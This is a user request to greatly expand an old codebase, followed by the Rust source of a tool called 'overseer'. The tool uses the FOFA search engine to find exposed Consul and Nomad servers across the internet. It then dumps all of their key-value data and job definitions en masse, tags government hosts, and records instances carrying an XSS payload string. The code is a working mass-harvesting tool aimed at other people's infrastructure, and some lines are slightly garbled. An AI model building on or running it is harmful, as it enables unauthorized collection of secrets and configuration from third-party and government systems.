This is very old code. Try to build a highly advanced codebase now, that is several times greater that the older one.
fofa.rs:
use std::net::SocketAddr;
use std::net::ToSocketAddrs;
use anyhow::{Result, anyhow};
use async_trait::async_trait;
use base64::prelude::;
use std::sync::Arc;
use std::time::Duration;
use std::collections::HashSet;

use reqwest::{Client, ClientBuilder};
use serde::{Deserialize, Serialize};
use serde_json::Value;
use tracing::{instrument, debug, error, info};

const MAX_RETRIES: usize = 3;
const FIRST_PAGE_SIZE: u32 = 10000;
const SUBSEQUENT_PAGE_SIZE: u32 = 5000;

#[derive(Clone)]
pub struct Fofa {
client: Client,
email: String,
key: String,
}

#[derive(Serialize, Deserialize, Clone, Debug)]
pub struct Response {
pub error: bool,
pub size: u32,
pub page: u32,
pub mode: String,
pub results: Vec<Value>,
}

#[async_trait]
pub trait FofaSearch {
async fn search(&self, query: &str, page: u32, size: u32) -> Result<Response>;
async fn parse(&self, query: &str) -> Result<(Vec<std::net::SocketAddr>, u32)>;
}

#[async_trait]
impl FofaSearch for Fofa {
#[instrument(skip(self))]
async fn search(&self, query: &str, page: u32, size: u32) -> Result<Response> {
for retries in 0..MAX_RETRIES {
let response = self
.client
.get("https://fofa.info/api/v1/search/all")
.query(&[
("email", &self.email),
("key", &self.key),
("size", &size.to_string()),
("page", &page.to_string()),
("qbase64", &BASE64_URL_SAFE.encode(query)),
])
.send()
.await?;

debug!("FOFA API URL: {}", response.url());

match response.json::<Response>().await {
Ok(response) => return Ok(response),
Err(err) => {
if retries == MAX_RETRIES - 1 {
return Err(anyhow!("Failed to decode response: {}", err));
}
error!("Failed to decode response: {}. Retrying...", err);
}
}
}

unreachable!()
}

#[instrument(skip(self))]
async fn parse(&self, query: &str) -> Result<(Vec<SocketAddr>, u32)> {
let initial_response = self.search(query, 1, FIRST_PAGE_SIZE).await?;
let total_size = initial_response.size;
let mut total_pages = (total_size as f32 / FIRST_PAGE_SIZE as f32).ceil() as u32;

let mut all_results = initial_response.results;

if total_pages > 1 {
total_pages = 1 + ((total_size - FIRST_PAGE_SIZE) as f32 / SUBSEQUENT_PAGE_SIZE as f32).ceil() as u32;
info!("Adjusted total pages: {}", total_pages);

for page in 2..=total_pages {
match self.search(query, page, SUBSEQUENT_PAGE_SIZE).await {
Ok(response) => {
info!("Results from page {}: {}", page, response.results.len());
all_results.extend(response.results);
},
Err(e) => {
error!("Failed to fetch page {}: {:?}", page, e);
break;
}
}
}
}

info!("Total raw results fetched: {}", all_results.len());

let mut socket_addresses = HashSet::new();

for (index, result) in all_results.iter().enumerate() {
if let (Some(ip), Some(port)) = (result.get(1).and_then(Value::as_str), result.get(2).and_then(Value::as_str)) {
let addr_str = format!("{}:{}", ip, port);
match addr_str.to_socket_addrs() {
Ok(mut addrs) => {
if let Some(addr) = addrs.next() {
if !socket_addresses.insert(addr) {
debug!("Duplicate address found: {} (index: {})", addr_str, index);
}
} else {
debug!("Invalid address: {} (index: {})", addr_str, index);
}
},
Err() => {
debug!("Failed to parse address: {} (index: {})", addr_str, index);
}
}
} else {
debug!("Missing IP or port in result (index: {}): {:?}", index, result);
}
}

let unique_addresses: Vec<> = socket_addresses.into_iter().collect();

Ok((unique_addresses, total_size))
}
}

impl Fofa {
pub fn new(email: String, key: String, timeout: Duration) -> Arc<Self> {
Arc::new(Fofa {
client: ClientBuilder::new()
.timeout(timeout)
.build()
.expect("Failed to build HTTP client"),
email,
key,
})
}
}

main.rs:
use tracing::warn;
use tokio::sync::Semaphore;
use std::net::SocketAddr;
use std::path::Path;
use anyhow::Context;
use futures::StreamExt;
use std::env;
use tracing::info;
use std::fs::{self, File};
use std::io::{BufWriter, Write};
use regex::Regex;
use std::sync::Arc;
use std::time::Instant;

use tokio::sync::Mutex;
use clap::{Command, Arg};
use indicatif::{MultiProgress, ProgressBar, ProgressStyle};
use serde_json::json;
use flate2::write::GzEncoder;
use flate2::Compression;
use anyhow::Result;
use trust_dns_resolver::{TokioAsyncResolver, config::};

mod consul;
mod fofa;
mod nomad;
use fofa::{Fofa, FofaSearch};
use consul::{ConsulScraper, ConsulScraperTrait, ScrapeResult as ConsulScrapeResult};
use nomad::{NomadScraper, NomadScraperTrait, ScrapeResult as NomadScrapeResult};

// Configuration struct
#[derive(Clone)]
struct Config {
fofa_email: String,
fofa_key: String,
output_dir: String,
threads: usize,
compress: bool,
retry_count: usize,
timeout: u64,
consul_query: String,
nomad_query: String,
}

// Statistics struct
struct Stats {
consul_files_written: usize,
consul_compromised_count: usize,
consul_error_count: usize,
consul_total_keys: usize,
nomad_files_written: usize,
nomad_error_count: usize,
nomad_total_jobs: usize,
}

#[tokio::main(flavor = "multi_thread")]
async fn main() -> Result<()> {
// Parse command line arguments
let matches = Command::new("overseer")
.version("2.0")
.arg(Arg::new("email")
.short('e')
.long("email")
.value_name("EMAIL")
.help("Sets the FOFA email"))
.arg(Arg::new("key")
.short('k')
.long("key")
.value_name("KEY")
.help("Sets the FOFA key"))
.arg(Arg::new("output")
.short('o')
.long("output")
.value_name("DIR")
.help("Sets the output directory")
.default_value("data"))
.arg(Arg::new("threads")
.short('t')
.long("threads")
.value_name("NUM")
.help("Sets the number of threads")
.default_value("1000"))
.arg(Arg::new("compress")
.short('c')
.long("compress")
.action(clap::ArgAction::SetTrue)
.help("Compress output files"))
.arg(Arg::new("retry")
.short('r')
.long("retry")
.value_name("NUM")
.help("Sets the number of retries")
.default_value("2"))
.arg(Arg::new("timeout")
.long("timeout")
.value_name("SECONDS")
.help("Sets the timeout in seconds")
.default_value("7"))
.arg(Arg::new("consul_query")
.long("consul-query")
.value_name("QUERY")
.help("Sets the FOFA query for Consul")
.default_value("protocol="consul(http)""))
.arg(Arg::new("nomad_query")
.long("nomad-query")
.value_name("QUERY")
.help("Sets the FOFA query for Nomad")
.default_value("title=="Nomad""))
.get_matches();

// Initialize logger
tracing_subscriber::fmt::init();

// Create configuration
let config = Config {
fofa_email: matches.get_one::<String>("email").cloned()
.unwrap_or_else(|| env::var("FOFA_EMAIL").expect("FOFA_EMAIL not set")),
fofa_key: matches.get_one::<String>("key").cloned()
.unwrap_or_else(|| env::var("FOFA_KEY").expect("FOFA_KEY not set")),
output_dir: matches.get_one::<String>("output").cloned().unwrap(),
threads: matches.get_one::<String>("threads").unwrap().parse().expect("Invalid thread count"),
compress: matches.get_flag("compress"),
retry_count: matches.get_one::<String>("retry").unwrap().parse().expect("Invalid retry count"),
timeout: matches.get_one::<String>("timeout").unwrap().parse().expect("Invalid timeout"),
consul_query: matches.get_one::<String>("consul_query").cloned().unwrap(),
nomad_query: matches.get_one::<String>("nomad_query").cloned().unwrap(),
};

// Create stats
let stats = Arc::new(Mutex::new(Stats {
consul_files_written: 0,
consul_compromised_count: 0,
consul_error_count: 0,
consul_total_keys: 0,
nomad_files_written: 0,
nomad_error_count: 0,
nomad_total_jobs: 0,

}));

// Run the main async function
run(config, stats).await
}

async fn run(config: Config, stats: Arc<Mutex<Stats>>) -> Result<()> {
info!("Starting Overseer");
let start_time = Instant::now();

// Create FOFA client
let fofa = Fofa::new(config.fofa_email.clone(), config.fofa_key.clone(), std::time::Duration::from_secs(45));

// Create output directories
fs::create_dir_all(format!("{}/consuls", config.output_dir))?;
fs::create_dir_all(format!("{}/nomads", config.output_dir))?;

// Fetch and process Consul instances
info!("Fetching Consul results from FOFA");
let (consuls, consul_total_count) = fofa.parse(&config.consul_query).await?;
process_consuls(consuls, consul_total_count, &config, &stats).await?;


// Fetch and process Nomad instances
info!("Fetching Nomad results from FOFA");
let (nomads, nomad_total_count) = fofa.parse(&config.nomad_query).await?;
process_nomads(nomads, nomad_total_count, &config, &stats).await?;

// Print final statistics
let duration = start_time.elapsed();
let stats = stats.lock().await;
info!("Scraping completed in {:?}", duration);
info!("Consul stats:");
info!(" Total files written: {}", stats.consul_files_written);
info!(" Compromised instances: {}", stats.consul_compromised_count);
info!(" Error count: {}", stats.consul_error_count);
info!(" Total keys scraped: {}", stats.consul_total_keys);
info!("Nomad stats:");
info!(" Total files written: {}", stats.nomad_files_written);
info!(" Error count: {}", stats.nomad_error_count);
info!(" Total jobs scraped: {}", stats.nomad_total_jobs);

Ok(())
}

async fn process_consuls(consuls: Vec<std::net::SocketAddr>, total_count: u32, config: &Config, stats: &Arc<Mutex<Stats>>) -> Result<()> {
let multi_progress = Arc::new(MultiProgress::new());
let overall_progress = multi_progress.add(ProgressBar::new(total_count as u64));
overall_progress.set_style(ProgressStyle::default_bar()
.template("{spinner:.green} [{elapsed_precise}] [{bar:40.cyan/blue}] {pos}/{len} ({eta}) {msg}")
.unwrap()
.progress_chars("#>-"));

let scraper = Arc::new(ConsulScraper::new(config.retry_count, config.timeout));
let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::default(), ResolverOpts::default()));

let results = futures::stream::iter(consuls)
.map(|consul| {
let scraper = Arc::clone(&scraper);
let config = config.clone();
let stats = Arc::clone(&stats);
let overall_progress = overall_progress.clone();
let resolver = Arc::clone(&resolver);

async move {
overall_progress.set_message(format!("Scraping Consul {}", consul));
let result = process_consul(consul, &scraper, &config, &stats, &resolver).await;
overall_progress.inc(1);
result
}
})
.buffer_unordered(config.threads)
.collect::<Vec<Result<()>>>()
.await;

for result in results {
result?;
}

overall_progress.finish_with_message("Consul scraping completed");
Ok(())
}

async fn process_consul(
consul: std::net::SocketAddr,
scraper: &ConsulScraper,
config: &Config,
stats: &Arc<Mutex<Stats>>,
resolver: &TokioAsyncResolver,
) -> Result<()> {
let scrape_result = scraper.scrape(consul).await;

let hostname = match resolver.reverse_lookup(consul.ip()).await {
Ok(response) => response.iter().next().map(|name| name.to_string()),
Err() => None,
};

let is_gov = hostname
.as_ref()
.map(|h| h.contains("gov"))
.unwrap_or(false);

match scrape_result {
ConsulScrapeResult::Normal(results) => {
if !results.is_empty() {
let sanitized_ip = sanitize_filename(&consul.ip().to_string());
let name = format!(
"{}@{}{}.{}",
results.len(),
sanitized_ip,
if is_gov { "GOV" } else { "" },
if config.compress { "gz" } else { "txt" }
);
info!("Hostname: {:?}", hostname);
let path = Path::new(&config.output_dir).join("consuls").join(name);

if let Some(parent) = path.parent() {
fs::create_dir_all(parent).context("Failed to create directory")?;
}

let file = File::create(&path).context("Failed to create file")?;
let mut writer: Box<dyn Write> = if config.compress {
Box::new(GzEncoder::new(file, Compression::default()))
} else {
Box::new(BufWriter::new(file))
};

// Write hostname if available
if let Some(hostname) = &hostname {
writeln!(writer, "Hostname: {}", hostname)?;
}

for (key, value) in &results {
writeln!(writer, "{}: {}", key, value)?;
}

writer.flush()?;

let mut stats = stats.lock().await;
stats.consul_files_written += 1;
stats.consul_total_keys += results.len();
}
}
ConsulScrapeResult::Compromised => {
let mut stats = stats.lock().await;
stats.consul_compromised_count += 1;

let path = Path::new(&config.output_dir).join("consuls").join("compromised_consuls.txt");
let file = fs::OpenOptions::new()
.write(true)
.append(true)
.create(true)
.open(path)
.context("Failed to open compromised_consuls.txt")?;
let mut writer = BufWriter::new(file);
writeln!(writer, "{}|{}|{}", consul, hostname.unwrap_or_else(|| "N/A".to_string()), if is_gov { "GOV" } else { "" })?;
}
ConsulScrapeResult::Error => {
let mut stats = stats.lock().await;
stats.consul_error_count += 1;
}
}

Ok(())
}
async fn process_nomads(nomads: Vec<SocketAddr>, total_count: u32, config: &Config, stats: &Arc<Mutex<Stats>>) -> Result<()> {
let multi_progress = Arc::new(MultiProgress::new());
let overall_progress = multi_progress.add(ProgressBar::new(total_count as u64));
overall_progress.set_style(ProgressStyle::default_bar()
.template("{spinner:.green} [{elapsed_precise}] [{bar:40.cyan/blue}] {pos}/{len} ({eta}) {msg}")
.unwrap()
.progress_chars("#>-"));

let scraper = Arc::new(NomadScraper::new(config.retry_count, config.timeout));
let semaphore = Arc::new(Semaphore::new(config.threads));
let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::default(), ResolverOpts::default()));

let results = futures::stream::iter(nomads)
.map(|nomad| {
let scraper = Arc::clone(&scraper);
let config = config.clone();
let stats = Arc::clone(&stats);
let overall_progress = overall_progress.clone();
let semaphore = Arc::clone(&semaphore);
let resolver = Arc::clone(&resolver);

async move {
let permit = semaphore.acquire().await.unwrap();
overall_progress.set_message(format!("Scraping Nomad {}", nomad));
let result = process_nomad(nomad, &scraper, &config, &stats, &resolver).await;
overall_progress.inc(1);
result
}
})
.buffer_unordered(config.threads)
.collect::<Vec<Result<()>>>()
.await;

for result in results {
if let Err(e) = result {
warn!("Error processing Nomad: {:?}", e);
}
}

overall_progress.finish_with_message("Nomad scraping completed");
Ok(())
}

async fn process_nomad(
nomad: SocketAddr,
scraper: &NomadScraper,
config: &Config,
stats: &Arc<Mutex<Stats>>,
resolver: &TokioAsyncResolver,
) -> Result<()> {
// Perform reverse DNS lookup
let hostname = match resolver.reverse_lookup(nomad.ip()).await {
Ok(response) => response.iter().next().map(|name| name.to_string()),
Err() => None,
};

match scraper.scrape(nomad).await {
NomadScrapeResult::Normal(job_details) => {
if job_details.is_empty() {
info!("No jobs found for Nomad at {}", nomad);
return Ok(());
}

let sanitized_ip = sanitize_filename(&nomad.ip().to_string());
let name = format!(
"nomad_jobs@{}.{}",
sanitized_ip,
if config.compress { "gz" } else { "json" }
);
let path = Path::new(&config.output_dir).join("nomads").join(name);

if let Some(parent) = path.parent() {
fs::create_dir_all(parent).context("Failed to create directory")?;
}

let file = File::create(&path).context("Failed to create file")?;
let mut writer: Box<dyn Write> = if config.compress {
Box::new(GzEncoder::new(file, Compression::default()))
} else {
Box::new(BufWriter::new(file))
};

info!("Hostname: {:?}", hostname);

let prettified_json = serde_json::to_string_pretty(&json!({
"nomad_address": nomad.to_string(),
"hostname": hostname.unwrap_or_else(|| "N/A".to_string()),
"job_count": job_details.len(),
"jobs": job_details
}))?;

writer.write_all(prettified_json.as_bytes())?;
writer.flush()?;

let mut stats = stats.lock().await;
stats.nomad_files_written += 1;
stats.nomad_total_jobs += job_details.len();
}
NomadScrapeResult::Error => {
let mut stats = stats.lock().await;
stats.nomad_error_count += 1;
}
}

Ok(())
}

fn sanitize_filename(name: &str) -> String {
let re = Regex::new(r#"[<>:"/\|?*]"#).unwrap();
re.replace_all(name, "").into_owned()
}

nomad.rs:
#![allow(non_snake_case)]

use std::net::SocketAddr;
use std::time::Duration;

use anyhow::{Result, anyhow};
use async_trait::async_trait;
use reqwest::{Client, ClientBuilder};
use serde::{Deserialize, Serialize};
use serde_json::Value;
use tokio::time::sleep;
use rand::Rng;
use tracing::{instrument, debug, error};

pub struct NomadScraper {
pub client: Client,
max_retries: usize,
}

#[derive(Debug, Serialize, Deserialize)]
pub struct Job {
pub ID: String,
pub Name: String,
pub Type: String,
pub Status: String,
pub StatusDescription: String,
}

#[derive(Debug)]
pub enum ScrapeResult {
Normal(Vec<Value>),
Error,
}

#[async_trait]
pub trait NomadScraperTrait {
async fn scrape(&self, addr: SocketAddr) -> ScrapeResult;
}

impl NomadScraper {
pub fn new(max_retries: usize, timeout: u64) -> Self {
NomadScraper {
client: ClientBuilder::new()
.timeout(Duration::from_secs(timeout))
.build()
.expect("Failed to build HTTP client"),
max_retries,
}
}

#[instrument(skip(self))]
async fn retry_request(&self, url: &str) -> Result<reqwest::Response> {
for attempt in 0..self.max_retries {
match self.client.get(url).send().await {
Ok(response) => return Ok(response),
Err(e) => {
error!("Request failed (attempt {}): {:?}", attempt + 1, e);
if attempt == self.max_retries - 1 {
return Err(anyhow!("Max retries exceeded"));
}
let backoff = self.exponential_backoff(attempt);
sleep(backoff).await;
}
}
}

Err(anyhow!("Max retries exceeded"))
}

fn exponential_backoff(&self, attempt: usize) -> Duration {
let base = 2u64.pow(attempt as u32);
let jitter: u64 = rand::thread_rng().gen_range(0..=1000);
Duration::from_millis(base * 100 + jitter)
}

#[instrument(skip(self, response))]
async fn process_jobs(&self, response: reqwest::Response) -> Result<Vec<Job>> {
match response.json::<Vec<Job>>().await {
Ok(jobs) => {
debug!("Processed {} jobs", jobs.len());
Ok(jobs)
}
Err(e) => {
error!("Failed to parse JSON response: {:?}", e);
Err(anyhow!("Failed to parse JSON response"))
}
}
}

#[instrument(skip(self))]
async fn fetch_job_details(&self, addr: SocketAddr, job_id: &str) -> Result<Value> {
let url = format!("http://{}/v1/job/{}", addr, job_id);
let response = self.retry_request(&url).await?;

match response.json::<Value>().await {
Ok(job_detail) => Ok(job_detail),
Err(e) => {
Err(anyhow!("Failed to parse job detail JSON {}", e))
}
}
}
}

#[async_trait]
impl NomadScraperTrait for NomadScraper {
#[instrument(skip(self))]
async fn scrape(&self, addr: SocketAddr) -> ScrapeResult {
let url = format!("http://{}/v1/jobs", addr);

match self.retry_request(&url).await {
Ok(response) => {
match self.process_jobs(response).await {
Ok(jobs) => {
let mut job_details = Vec::new();
for job in jobs {
match self.fetch_job_details(addr, &job.ID).await {
Ok(job_detail) => job_details.push(job_detail),
Err(e) => {
error!("Failed to fetch job details for {}: {:?}", job.ID, e);
}
}
}
ScrapeResult::Normal(job_details)
}
Err(e) => {
error!("Failed to process jobs: {:?}", e);
ScrapeResult::Error
}
}
}
Err(e) => {
error!("Failed to fetch jobs: {:?}", e);
ScrapeResult::Error
}
}
}
}

consul.rs:
use std::{fmt::Debug, net::SocketAddr};
use std::time::Duration;

use base64::prelude::*;
use reqwest::{Client, ClientBuilder};
use serde::{Deserialize, Serialize};
use anyhow::{Result, anyhow};
use async_trait::async_trait;
use tokio::time::sleep;
use rand::Rng;
use tracing::{instrument, debug, error};

const COMPROMISE_INDICATOR: &str = "<!DOCTYPE html><script>alert(document.domain)</script>";

pub struct ConsulScraper {
client: Client,
max_retries: usize,
}

#[derive(Debug, Serialize, Deserialize)]
#[serde(rename_all = "PascalCase")]
struct Data {
lock_index: u64,
key: String,
flags: u64,
value: Option<String>,
}

#[derive(Debug)]
pub enum ScrapeResult {
Normal(Vec<(String, String)>),
Compromised,
Error,
}

#[async_trait]
pub trait ConsulScraperTrait {
async fn scrape(&self, addr: SocketAddr) -> ScrapeResult;
}

impl ConsulScraper {
pub fn new(max_retries: usize, timeout: u64) -> Self {
ConsulScraper {
client: ClientBuilder::new()
.timeout(Duration::from_secs(timeout))
.build()
.expect("Failed to build HTTP client"),
max_retries,
}
}

#[instrument(skip(self))]
async fn retry_request(&self, url: &str) -> Result<reqwest::Response> {
for attempt in 0..self.max_retries {
match self.client.get(url).send().await {
Ok(response) => return Ok(response),
Err() => {
let backoff = self.exponential_backoff(attempt);
sleep(backoff).await;
}
}
}

Err(anyhow!("Max retries reached"))
}

fn exponential_backoff(&self, attempt: usize) -> Duration {
let base = 2u64.pow(attempt as u32);
let jitter: u64 = rand::thread_rng().gen_range(0..=1000);
Duration::from_millis(base * 100 + jitter)
}

#[instrument(skip(self, response), fields(addr = %addr))]
async fn process_response(&self, response: reqwest::Response, addr: SocketAddr) -> ScrapeResult {
match response.json::<Vec<Data>>().await {
Ok(data) => {
let results: Vec<> = data.into_iter()
.filter_map(|result| self.process_data(result, addr))
.collect();

if results.iter().any(|(, value)| value.contains(COMPROMISE_INDICATOR)) {
debug!("Compromised instance detected");
ScrapeResult::Compromised
} else {
debug!("Processed {} results", results.len());
ScrapeResult::Normal(results)
}
}
Err() => {
ScrapeResult::Error
}
}
}

#[instrument(skip(self, result), fields(addr = %addr, key = %result.key))]
fn process_data(&self, result: Data, addr: SocketAddr) -> Option<(String, String)> {
result.value.map(|value| {
let key = result.key.clone();
match BASE64_STANDARD.decode(value.as_bytes()) {
Ok(decoded) => {
match String::from_utf8(decoded) {
Ok(decoded_str) => (key, decoded_str),
Err() => (key, value), // Keep as base64 if UTF-8 conversion fails
}
}
Err(_) => {
debug!("Base64 decoding failed, keeping original value");
(key, value) // Keep as base64 if decoding fails
}
}
})
}
}

#[async_trait]
impl ConsulScraperTrait for ConsulScraper {
#[instrument(skip(self))]
async fn scrape(&self, addr: SocketAddr) -> ScrapeResult {
let url = format!("http://{}/v1/kv/?recurse", addr);

match self.retry_request(&url).await {
Ok(response) => self.process_response(response, addr).await,
Err(e) => {
error!("Failed to fetch data: {:?}", e);
ScrapeResult::Error
}
}
}
}